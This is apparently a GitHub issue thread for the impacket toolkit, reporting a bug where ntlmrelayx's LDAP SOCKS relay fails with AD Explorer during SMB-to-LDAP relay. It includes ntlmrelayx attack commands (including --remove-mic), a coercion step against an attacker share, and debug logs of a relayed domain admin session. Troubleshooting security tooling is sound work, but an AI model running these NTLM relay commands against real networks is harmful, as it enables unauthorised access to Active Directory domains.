fortra
ntlmreally ldap socks has a bug
I started listening, accessed the HTTP website enabled by ntlmrelay, and manually entered credentials to simulate an attack.
python ntlmrelayx.py -t ldap://10.10.10.10 -socks -debug
At this point, using ldapdomaindump and adexplorer within an ldap socket session works without any issues.
Then, I tested --remove-mic cross-protocol relay.
After enabling the listener, I used the command dir \\attack_ip\c$ on the domain machine.
python ntlmrelayx.py -t ldap://10.10.10.10 -smb2support --remove-mic -socks -debug
At this point, ldapdomaindump can still successfully export LDAP information.
However, adexplorer cannot be used.
The ntlmrelay debug information is as follows:
ntlmrelayx> [+] SOCKS: New Connection from 10.10.10.1(64149)
[+] SOCKS: Target is 10.10.10.10(389)
[+] Handler for port 389 found <class 'impacket.examples.ntlmrelayx.servers.socksplugins.ldap.LDAPSocksRelay'>
[+] LDAP: Received 1 message(s)
[+] LDAP: Received 1 message(s)
[+] LDAP: Received 1 message(s)
[+] LDAP: Received 1 message(s)
[+] LDAP: Got NTLM bind request
[+] LDAP: Received 1 message(s)
[-] LDAP: Connection for RED/[email protected](389) is being used at the moment!
[+] KeepAlive Timer reached. Updating connections
[+] Skipping RED/[email protected]:389 since it's being used at the moment
so basically AD explorer worked flawlessly doing HTTP->LDAP relay, but it didn't work doing SMB->LDAP. I suppose you're authenticating through ntlmv1. Which socksproxy application are you using with AD explorer ? from your screenshot looks like there are at least 2 concurrent connections coming from AD explorer to the socks proxy. That's not supported. Have you read the docs of the original PR? it mentions AD explorer https://github.com/fortra/impacket/pull/1825#issuecomment-2549682178
I am using Proxifier as my SOCKS proxy, and I have read the docs of the original PR. But I don't know why it faied.
I discovered that under the SMB -> LDAP socket, using AdExplorer sends two requests simultaneously.
By capturing the data packets, I suspect that the first query packet sent to NLTLMRelay has a problem with the data packet querying DC, failing to return the LDAP ROOT information correctly, causing AdExplorer to send a second data packet.
request
0000 00 0c 29 36 6e c8 00 50 56 c0 00 02 08 00 45 00
0010 00 70 d9 f6 40 00 80 06 f8 72 0a 0a 0a 01 0a 0a
0020 0a 0a 06 dc 01 85 cb eb 4a eb 30 21 63 18 50 18
0030 03 ff b6 88 00 00 00 00 00 44 01 00 00 00 9a 71
0040 a0 cc 85 83 bf 9d 00 00 00 00 8b f8 3b 9c a0 32
0050 3f d6 55 ec 3d 1b 2f a6 24 f2 4c 01 75 5c ff e8
0060 4a 5b 69 84 80 ce 8a 45 47 33 3e 94 2c bb 1d 4d
0070 c4 28 26 73 5c 9d c5 e8 30 27 ae b8 cd 7f
response
0000 00 50 56 c0 00 02 00 0c 29 36 6e c8 08 00 45 00
0010 00 ac 24 46 40 00 80 06 ad e7 0a 0a 0a 0a 0a 0a
0020 0a 01 01 85 d3 cb 66 bf 80 0b c7 30 6f 9d 50 18
0030 07 ff cd 83 00 00 30 84 00 00 00 7e 02 01 00 78
0040 84 00 00 00 5d 0a 01 02 04 00 04 56 30 30 30 30
0050 30 30 35 37 3a 20 4c 64 61 70 45 72 72 3a 20 44
0060 53 49 44 2d 30 43 30 43 30 30 39 35 2c 20 63 6f
0070 6d 6d 65 6e 74 3a 20 45 72 72 6f 72 20 64 65 63
0080 6f 64 69 6e 67 20 6c 64 61 70 20 6d 65 73 73 61
0090 67 65 2c 20 64 61 74 61 20 30 2c 20 76 33 38 33
00a0 39 00 8a 16 31 2e 33 2e 36 2e 31 2e 34 2e 31 2e
00b0 31 34 36 36 2e 32 30 30 33 36